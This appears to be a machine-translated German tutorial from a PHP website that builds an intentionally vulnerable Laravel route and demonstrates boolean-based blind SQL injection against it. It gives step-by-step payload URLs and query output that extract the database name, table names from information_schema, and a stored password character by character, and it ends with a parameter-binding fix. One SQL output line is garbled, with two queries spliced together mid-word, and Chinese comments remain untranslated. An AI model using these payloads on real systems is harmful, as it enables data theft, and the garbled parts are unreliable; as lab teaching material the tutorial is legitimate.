Dieser Artikel bringt Ihnen relevantes Wissen über laravel, in dem hauptsächlich erläutert wird, wie das Prinzip der SQL-Blindinjektion durch die Erstellung einer Laravel-Schwachstelle erläutert wird. Werfen wir einen Blick darauf. Ich hoffe, es wird für alle hilfreich sein.
【Verwandte Empfehlung: Laravel-Video-Tutorial】
Umgebung
composer create-project laravel/laravel lar9 // 安装laravel9 // 编辑.env 修改为DEBUG=false 配置数据库 DEBUG=false DB_HOST=.... php artisan migrate php artisan serve // 启动 // 插入数据 insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');
Erstellen einer Schwachstelle
// routes/web.php Route::get('/', function () { $id = request()->id; $user = \App\Models\User::whereRaw('id = '.$id)->first(); return $user->name ?? ''; }); // 最后转换的sql是: select * from users where id = $id
Testen
http://127.0.0.1:8000/?id=1' // 500 http://127.0.0.1:8000/?id=1 and 1=2 // select * from users where id = 1 and 1=2; 返回空 http://127.0.0.1:8000/?id=1 and 1=1 // select * from users where id = 1 and 1=1 返回xxh
Datenbankname
Erraten Sie den Datennamen Länge
url: http://127.0.0.1:8000/?id=1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 1 select * from users where id = 1 and length(database()) = 2 // 一直循环下去
Erraten Sie den Datenbanknamen
从第一步 知道了数据库名长度 `select * from users where id = 1 and substr(database(),1,1) =a` `select * from users where id = 1 and substr(database(),1,1) =b` // 一直循环下去 找到数据库名的第一个做字符 然后找第二个字符 直到找完数据库名的长度
Zum Schluss: laravel_project
Tabellenname
Die folgenden Schritte ähneln dem Erraten der Datenbank, daher halte ich es einfach.
Informationsschema
Informationsschema wird mit MySQL geliefert.
Der Datenbankname, der Tabellenname, der Spaltentyp usw. werden vermutlich alle aus dieser Datenbank stammen.
Erraten Sie die Anzahl der Tabellen in laravel_project
url: http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5 mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct"; +----------+ | count(*) | +----------+ | 5 | +----------+
Erraten Sie die Länge des ersten Tabellennamens
Es ist nicht viel mehr als [erraten Sie die Länge des Datennamens].
Erraten Sie den ersten Tabellennamen.
url: http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f' mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1; +------------------------+ | substr(table_name,1,1) | +------------------------+ | f | +------------------------+ // 得出第一个表的第一个字段是f 然后查第
select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; // fail_jobs字段总数
Erraten Sie die Daten
Daten Das ist das Wichtigste. Da failed_jobs keine Daten enthält, habe ich sie in „Benutzer“ geändert.Benutzer haben ein Passwortfeld.
mysql> select substr((select password from users limit 0,1),1,1); +----------------------------------------------------+ | substr((select password from users limit 0,1),1,1) | +----------------------------------------------------+ | w | +----------------------------------------------------+ 得出第一个是w,存起来,最后判断 mysql> select substr((select password from users limit 0,1),1,2); +----------------------------------------------------+ | substr((select password from users limit 0,1),1,2) | +----------------------------------------------------+ | wo | +----------------------------------------------------+ 第二个值为o 用第一个值 + 第二个值作为盲注
Verteidigung
(Manchmal wird wo die Anforderungen nicht erfüllt, man braucht woRaw)Denken Sie bei Bedarf einfach daran, es zu binden.Route::get('/', function () { $id = request()->id; $user = \App\Models\User::whereRaw('id = ?',[$id])->first(); return $user->name ?? ''; });
Ps
Der Einfachheit halber wird oben die einfachste Suche verwendet. Manuelle Blindinjektion sollte eine binäre Suche verwenden.select * from users where id = 1 and substr(database(),1,1) ='a'; 换成二分: select * from users where id = 1 and ascii(substr(database(),1,1)) > 99;
Laravel-Video-Tutorial
】Das obige ist der detaillierte Inhalt vonAnalysieren der SQL-Blind-Injection-Prinzipien anhand von Laravel-Schwachstellenbeispielen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!